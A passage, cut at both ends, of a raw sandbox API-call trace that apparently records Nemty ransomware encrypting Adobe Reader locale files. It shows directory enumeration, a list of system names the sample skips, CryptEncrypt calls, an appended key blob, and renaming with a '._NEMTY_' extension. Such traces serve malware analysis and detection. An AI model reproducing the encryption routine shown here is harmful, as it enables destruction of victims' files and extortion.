hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=431104) returned 1 [0181.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.303] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.303] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.312] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.312] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.313] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=431104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69400 [0181.313] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.314] CloseHandle (hObject=0x2e8) returned 1 [0181.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.315] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Acroform.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\acroform.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Acroform.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\acroform.ptb._nemty_kgobjgd_")) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.316] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.PTB", cAlternateFileName="ADOBEC~1.PTB")) returned 1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2=".") returned 1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="..") returned 1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="...") returned 1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="windows") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="rsa") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="NTDETECT.COM") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="ntldr") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="MSDOS.SYS") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="IO.SYS") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="boot.ini") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="boot.ini") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="AUTOEXEC.BAT") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="ntuser.dat") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="desktop.ini") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="CONFIG.SYS") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="RECYCLER") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="BOOTSECT.BAK") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="bootmgr") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="programdata") returned -1 [0181.316] lstrcmpiW (lpString1="AdobeCollabSync.PTB", lpString2="appdata") returned -1 [0181.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0181.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.PTB", lpUsedDefaultChar=0x0) returned 19 [0181.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0181.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.PTB", lpUsedDefaultChar=0x0) returned 19 [0181.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0181.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.PTB", lpUsedDefaultChar=0x0) returned 19 [0181.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.PTB", lpUsedDefaultChar=0x0) returned 19 [0181.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0181.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0181.317] Sleep (dwMilliseconds=0x5) [0181.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fbab3b0, dwHighDateTime=0x1d561e8)) [0181.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fbab3b0, dwHighDateTime=0x1d561e8)) [0181.332] GetLastError () returned 0x0 [0181.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.332] GetLastError () returned 0x0 [0181.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0181.333] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.333] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.333] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0181.333] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="x85fpRrrZY5rOW48VGbVN/ksW8OOkZhGMhXlK37u/ABbwDItcXFDu55yF06bdQgg\r\n8b+wk+5RZhVbnn2Mlbi3JvtybkYvUl6BXQB5Mdew1h2lRx0qDEmiTOv8v1sj3xQL\r\nt+I5dNPNlIxtP9JxxR+NF/A/Uh30WQEfMjorWOuleV5vIWq2vSBS9AXosZfry0WY\r\nfppkMbEPIXcxTUXaFyt6pfGsTE7Y4kofNK7lCD8ji1gHD5NAFTBefb3qOruTWAzh\r\nc9GUceIl22Pp5XyU0oSfRNyp50Nsrbp/ZjfF2sudopJZXMxopjze34aI1WUjs+Q9\r\n+qhZRFZtK8vsKfFgQRN+Zw==\r\n", pcchString=0x653e5dc) returned 1 [0181.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0181.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0181.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0181.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\AdobeCollabSync.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\adobecollabsync.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.333] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0181.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0181.333] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.333] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0181.336] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.336] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0181.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.336] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0181.336] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.336] CloseHandle (hObject=0x2e8) returned 1 [0181.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0181.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0181.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0181.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0181.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0181.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0181.337] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\AdobeCollabSync.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\adobecollabsync.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\AdobeCollabSync.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\adobecollabsync.ptb._nemty_kgobjgd_")) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.337] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.PTB", cAlternateFileName="")) returned 1 [0181.337] lstrcmpiW (lpString1="Annots.PTB", lpString2=".") returned 1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="..") returned 1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="...") returned 1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="windows") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="rsa") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="NTDETECT.COM") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="ntldr") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="MSDOS.SYS") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="IO.SYS") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="boot.ini") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="boot.ini") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="AUTOEXEC.BAT") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="ntuser.dat") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="desktop.ini") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="CONFIG.SYS") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="RECYCLER") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="BOOTSECT.BAK") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="bootmgr") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="programdata") returned -1 [0181.338] lstrcmpiW (lpString1="Annots.PTB", lpString2="appdata") returned -1 [0181.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.339] Sleep (dwMilliseconds=0x5) [0181.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fbd1510, dwHighDateTime=0x1d561e8)) [0181.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fbd1510, dwHighDateTime=0x1d561e8)) [0181.348] GetLastError () returned 0x0 [0181.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.348] GetLastError () returned 0x0 [0181.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.348] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.349] 